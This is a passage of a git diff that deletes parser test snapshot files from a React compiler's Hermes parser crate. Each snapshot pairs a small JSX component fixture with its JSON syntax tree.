-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "ref",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                140,
-                                143
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "current",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                144,
-                                151
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              140,
-                              151
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "newValue",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              154,
-                              162
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            140,
-                            162
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          140,
-                          163
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      82,
-                      167
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    75,
-                    167
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    75,
-                    167
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  64,
-                  167
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              58,
-              168
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useEffect",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  171,
-                  180
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                193,
-                                200
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                201,
-                                204
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              193,
-                              204
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "ref",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  205,
-                                  208
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "current",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  209,
-                                  216
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                205,
-                                216
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            193,
-                            217
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          193,
-                          218
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      187,
-                      222
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    181,
-                    222
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    181,
-                    222
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                171,
-                223
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              171,
-              224
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    235,
-                    238
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        239,
-                        247
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          249,
-                          257
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        248,
-                        258
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      239,
-                      258
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  234,
-                  261
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                234,
-                261
-              ]
-            },
-            "loc": null,
-            "range": [
-              227,
-              262
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          264
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        264
-      ],
-      "loc": null,
-      "range": [
-        0,
-        264
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    264
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@regexp-literal.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@regexp-literal.js.snap
deleted file mode 100644
index 2de1029cf981..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@regexp-literal.js.snap
+++ /dev/null
@@ -1,368 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/regexp-literal.js
----
-Input:
-function Component(props) {
-  const pattern = /foo/g;
-  const value = makeValue();
-  // We treat RegExp instances as mutable objects (bc they are)
-  // so by default we assume this could be mutating `value`:
-  if (pattern.test(value)) {
-    return <div>{value}</div>;
-  }
-  return <div>Default</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "pattern",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    43
-                  ]
-                },
-                "init": {
-                  "type": "RegExpLiteral",
-                  "pattern": "foo",
-                  "flags": "g",
-                  "loc": null,
-                  "range": [
-                    46,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    67
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeValue",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      70,
-                      79
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    70,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  81
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              82
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "pattern",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    214,
-                    221
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "test",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    222,
-                    226
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  214,
-                  226
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    227,
-                    232
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                214,
-                233
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          249,
-                          252
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        248,
-                        253
-                      ]
-                    },
-                    "children": [
-                      {
-                        "type": "JSXExpressionContainer",
-                        "expression": {
-                          "type": "Identifier",
-                          "name": "value",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            254,
-                            259
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          253,
-                          260
-                        ]
-                      }
-                    ],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          262,
-                          265
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        260,
-                        266
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      248,
-                      266
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    241,
-                    267
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                235,
-                271
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              210,
-              271
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    282,
-                    285
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  281,
-                  286
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "Default",
-                  "raw": "Default",
-                  "loc": null,
-                  "range": [
-                    286,
-                    293
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    295,
-                    298
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  293,
-                  299
-                ]
-              },
-              "loc": null,
-              "range": [
-                281,
-                299
-              ]
-            },
-            "loc": null,
-            "range": [
-              274,
-              300
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          302
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        302
-      ],
-      "loc": null,
-      "range": [
-        0,
-        302
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    302
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@remove-memoization-kitchen-sink.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@remove-memoization-kitchen-sink.js.snap
deleted file mode 100644
index 827d0dbcaa5b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@remove-memoization-kitchen-sink.js.snap
+++ /dev/null
@@ -1,751 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/remove-memoization-kitchen-sink.js
----
-Input:
-// @disableAllMemoization true
-function Component(props) {
-  const [x, setX] = useState(() => initializeState(props));
-  const onChange = useCallback((e) => {
-    setX(e.target.value);
-  });
-  const object = { x, onChange };
-  return useMemo(() => {
-    const { x, onChange } = object;
-    return <input value={x} onChange={onChange} />;
-  }, [x]);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          40,
-          49
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            50,
-            55
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        68,
-                        69
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        75
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    67,
-                    76
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      79,
-                      87
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "initializeState",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            94,
-                            109
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              110,
-                              115
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          94,
-                          116
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        88,
-                        116
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        88,
-                        116
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    79,
-                    117
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  117
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              61,
-              118
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    135
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useCallback",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      138,
-                      149
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [
-                        {
-                          "type": "Identifier",
-                          "name": "e",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            151,
-                            152
-                          ]
-                        }
-                      ],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "setX",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  163,
-                                  167
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "e",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        168,
-                                        169
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "target",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        170,
-                                        176
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      168,
-                                      176
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "value",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      177,
-                                      182
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    168,
-                                    182
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                163,
-                                183
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              163,
-                              184
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          157,
-                          188
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        150,
-                        188
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        150,
-                        188
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    138,
-                    189
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  127,
-                  189
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              121,
-              190
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "object",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    199,
-                    205
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          210,
-                          211
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          210,
-                          211
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        210,
-                        211
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          213,
-                          221
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          213,
-                          221
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        213,
-                        221
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    208,
-                    223
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  199,
-                  223
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              193,
-              224
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useMemo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  234,
-                  241
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "ObjectPattern",
-                              "properties": [
-                                {
-                                  "type": "Property",
-                                  "key": {
-                                    "type": "Identifier",
-                                    "name": "x",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      262,
-                                      263
-                                    ]
-                                  },
-                                  "value": {
-                                    "type": "Identifier",
-                                    "name": "x",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      262,
-                                      263
-                                    ]
-                                  },
-                                  "kind": "init",
-                                  "computed": false,
-                                  "shorthand": true,
-                                  "method": false,
-                                  "loc": null,
-                                  "range": [
-                                    262,
-                                    263
-                                  ]
-                                },
-                                {
-                                  "type": "Property",
-                                  "key": {
-                                    "type": "Identifier",
-                                    "name": "onChange",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      265,
-                                      273
-                                    ]
-                                  },
-                                  "value": {
-                                    "type": "Identifier",
-                                    "name": "onChange",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      265,
-                                      273
-                                    ]
-                                  },
-                                  "kind": "init",
-                                  "computed": false,
-                                  "shorthand": true,
-                                  "method": false,
-                                  "loc": null,
-                                  "range": [
-                                    265,
-                                    273
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                260,
-                                275
-                              ]
-                            },
-                            "init": {
-                              "type": "Identifier",
-                              "name": "object",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                278,
-                                284
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              260,
-                              284
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          254,
-                          285
-                        ]
-                      },
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "JSXElement",
-                          "openingElement": {
-                            "type": "JSXOpeningElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "input",
-                              "loc": null,
-                              "range": [
-                                298,
-                                303
-                              ]
-                            },
-                            "attributes": [
-                              {
-                                "type": "JSXAttribute",
-                                "name": {
-                                  "type": "JSXIdentifier",
-                                  "name": "value",
-                                  "loc": null,
-                                  "range": [
-                                    304,
-                                    309
-                                  ]
-                                },
-                                "value": {
-                                  "type": "JSXExpressionContainer",
-                                  "expression": {
-                                    "type": "Identifier",
-                                    "name": "x",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      311,
-                                      312
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    310,
-                                    313
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  304,
-                                  313
-                                ]
-                              },
-                              {
-                                "type": "JSXAttribute",
-                                "name": {
-                                  "type": "JSXIdentifier",
-                                  "name": "onChange",
-                                  "loc": null,
-                                  "range": [
-                                    314,
-                                    322
-                                  ]
-                                },
-                                "value": {
-                                  "type": "JSXExpressionContainer",
-                                  "expression": {
-                                    "type": "Identifier",
-                                    "name": "onChange",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      324,
-                                      332
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    323,
-                                    333
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  314,
-                                  333
-                                ]
-                              }
-                            ],
-                            "selfClosing": true,
-                            "loc": null,
-                            "range": [
-                              297,
-                              336
-                            ]
-                          },
-                          "children": [],
-                          "closingElement": null,
-                          "loc": null,
-                          "range": [
-                            297,
-                            336
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          290,
-                          337
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      248,
-                      341
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    242,
-                    341
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    242,
-                    341
-                  ]
-                },
-                {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        344,
-                        345
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    343,
-                    346
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                234,
-                347
-              ]
-            },
-            "loc": null,
-            "range": [
-              227,
-              348
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          57,
-          350
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        31,
-        350
-      ],
-      "loc": null,
-      "range": [
-        31,
-        350
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    31,
-    350
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro-reassign-to-variable-without-mutable-range.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro-reassign-to-variable-without-mutable-range.js.snap
deleted file mode 100644
index 8c72c9f4b650..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro-reassign-to-variable-without-mutable-range.js.snap
+++ /dev/null
@@ -1,406 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/repro-reassign-to-variable-without-mutable-range.js
----
-Input:
-// @debug
-function Component(a, b) {
-  let x = [];
-  let y = [];
-  let z = foo(a);
-  if (FLAG) {
-    x = bar(z);
-    y = baz(b);
-  }
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          28
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            30
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            32,
-            33
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    47,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    61,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              64
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      75,
-                      78
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        79,
-                        80
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    75,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  81
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              67,
-              82
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "FLAG",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                89,
-                93
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        101,
-                        102
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          105,
-                          108
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "z",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            109,
-                            110
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        105,
-                        111
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      101,
-                      111
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    101,
-                    112
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        117,
-                        118
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "baz",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          121,
-                          124
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            125,
-                            126
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        121,
-                        127
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      117,
-                      127
-                    ]
-                  },
-                  "directive": null,
